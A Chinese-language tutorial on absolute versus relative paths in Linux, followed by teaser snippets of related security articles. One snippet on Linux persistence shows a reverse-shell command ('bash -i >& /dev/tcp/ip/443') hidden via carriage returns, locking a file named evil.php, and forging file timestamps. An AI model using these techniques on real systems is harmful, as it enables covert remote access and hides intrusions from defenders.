Linux 中的绝对路径和相对路径,有什么区别?

VSole2023-03-27 11:24:46

路径是Linux中最基本的概念之一,这是每个Linux用户都必须知道的。

路径是指文件和目录的引用方式。它给出了文件或目录在 Linux 目录结构中的位置,由名称和斜杠组成。

/home/abhishek/scripts

作为一个系统用户,当您想要访问某个文件或目录,或者必须为命令或脚本指定文件或目录的位置时,就会使用路径。

cat /home/abhishek/scripts/my_script.s

请记住,如果路径以斜杠“/”开头,则第一个斜杠表示根,路径中的其余斜线只是分隔符。初学者经常混淆斜杠和分隔符斜杠。

在上图中,第一个路径是以根路径(/)开始的,第二个路径不是以 / 开始的。这两种写法都是正确的,第一个是绝对路径,第二个是相对路径。

Linux中的绝对路径和相对路径

绝对路径始终从根目录(/)开始,比如:

/home/abhishek/scripts/my_scripts.sh

相对路径从当前目录开始。比如,如果你在 /home 目录中,希望访问 my_script.sh 文件,那么访问的路径应该是:

abhishek/scripts/my_scripts.sh

理解绝对路径和相对路径之间的差异

我们都知道Linux中目录结构是一个树,从根(/)开始,然后产生分支。

假设我们现在目录abhishek中,并且希望访问文件my_scripts.sh,如下图所示两种路径的表示:

假设我们使用 ls 命令查看 my_script.sh 的文件信息,那么使用绝对路径:

ls -l /home/abhishek/scripts/my_script.sh

然后,相对路径:

ls -l scripts/my_script.sh

那么,以上两种方式,除了文件路径不一样以外,其他的完全一样:

注:在Linux中,文件名区分大小写。可以有大写、小写、数字、点、中划线、下划线以及除了斜杠(/)之外的大多数字符。斜杠(/)作为保留字符,用于根目录和用于分割路径中的目录。

使用带有 . 和 .. 目录的相对路径

有两种特殊的相对路径:

  • .(一个点):表示路径中的当前路径;
  • ..(两个点):表示父目录,即上一级目录。

如下图,我们要从 abhishek 目录中,到 prakash 目录中去。

切换目录,使用 cd 命令。如果使用绝对路径,可以这样:

cd /home/prakash

使用相对路径的话 ,需要用到特殊的相对路径 .. :

cd ../prakash

为什么要使用 .. 呢?因为相对路径要从当前目录开始,我们需要告诉 cd 命令向上一级,将我们带到 /home 目录,然后从那里在进入到 prakash 目录。

绝对路径始终以 / 开始,并且与当前位置无关;相对路径取决于当前的位置。

绝对路径和相对路径,应该使用哪个呢?

老实说,这个问题没有直截了当的答案。这要视情况而定。

如果你当前所在的目录层次结构比较深,并且需要向上或者向下一级移动,那么使用相对路径会更简单。

假设你位于

/home/username/programming/project/interface/src/header 目录中,并且需要访问 /home/username/programming/project/interface/bin 目录中的某些内容。使用相对路径可以避免键入所有冗长的目录名,只需在此处使用.././bin即可。

但是,如果你要从 /home/username/programming/project/interface/src/header目录访问 /usr/bin 目录中的某些内容,那么使用 ../../../../../../usr/bin 会比较麻烦,这个时候使用绝对路径更方便。

另一种情况,是在脚本或者程序中使用路径。如果位置是确定的,那么就使用绝对路径;如果项目中有多个文件夹,并且需要在其中之间切换,那么此处需要使用相对路径,因为你不确定最终用户会将程序放在什么地方。

linux系统相对路径
本作品采用《CC 协议》,转载必须注明作者和本文链接
本文章盘点了 Linux 运维必备 150 个命令,请配合下面的网站使用。定位你需要使用的命令,然后去这个网站查询详细用法即可。 地址:wangchujiang.com/linux-command/
近日,研究人员向Kubernetes安全团队报告了一个可导致容器逃逸的安全漏洞[1],获得编号CVE-2021-25741,目前的CVSS3.x评分为8.8[2],属于高危漏洞。该漏洞引起社区的广泛讨论[3]。有人指出,CVE-2021-25741漏洞是由2017年的CVE-2017-1002101漏洞的补丁不充分导致,事实也的确如此。
路径是Linux中最基本的概念之一,这是每个Linux用户都必须知道的。它给出了文件或目录在 Linux 目录结构中的位置,由名称和斜杠组成。请记住,如果路径以斜杠“/”开头,则第一个斜杠表示根,路径中的其余斜线只是分隔符。这要视情况而定。使用相对路径可以避免键入所有冗长的目录名,只需在此处使用.././bin即可。但是,如果你要从 /home/username/programming/project/interface/src/header目录访问 /usr/bin 目录中的某些内容,那么使用 ../../../../../../usr/bin 会比较麻烦,这个时候使用绝对路径更方便。
Linux 维权实用技巧
2023-04-07 09:38:38
小技巧\r特性原理:shell 在解析 \r 时会忽略掉 \r 前的信息。cat其实默认使用是支持一些比如 \r 回车符 \n 换行符 \f 换页符、也就是这些符号导致的能够隐藏命令,使用cat -A可以看到真正的内容比如举例隐藏反弹shell#!mkdir /tmp/222;echo "bash -i >& /dev/tcp/ip/443 0>&1 &" > /tmp/222/1.sh;bash /tmp/222/1.sh;echo 'Hello world!cat如果不加-A参数,或者不实用vim或者文本方式打开正常运行效果文件锁定chattr +i evil.php??修改文件时间其中-m参数是不创建一个文件,需要对已存在的文件进行修改时间,若不加-m参数会创建一个文件touch -acmr 10-help-text 20-help-text
Linux中广泛使用的PostScript语言和PDF文件开源解释器Ghostscript被发现存在严重远程代码执行漏洞。该漏洞被标记为CVE-2023-3664,CVSS v3评级为9.8,影响10.01.2之前的所有Ghostscript版本,10.01.2是三周前发布的最新版本。
SMB协议可在互联网的TCP/IP协议或者互联网数据包交换和NetBEUI等协议之上使用。使用SMB协议,应用程序可访问远程服务器的文件以及打印机、信槽和命名管道等资源。RemoveLegacyFolder就是采用思路2来移除经典路径..\的,向前搜索的过程存在风险,并且对其边界检查无效,从而导致了缓冲区溢出的产生。
风险描述SQL注入主要发生在应用程序数据库层面上。程序员在设计程序的时候,没有对用户的输入进行校验,含有特殊字符语句会被数据库误认为是正常的SQL指令而运行,从而使数据库受到攻击,可能导致数据被窃取、更改、删除,以及进一步导致网站被嵌入恶意代码、被植入后门程序等危害。
SQL注入主要发生在应用程序数据库层面上
审计test.php知,当参数$a不为空,且读取的文件中包含’I want flag’时,即可显示$flag。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。
VSole
网络安全专家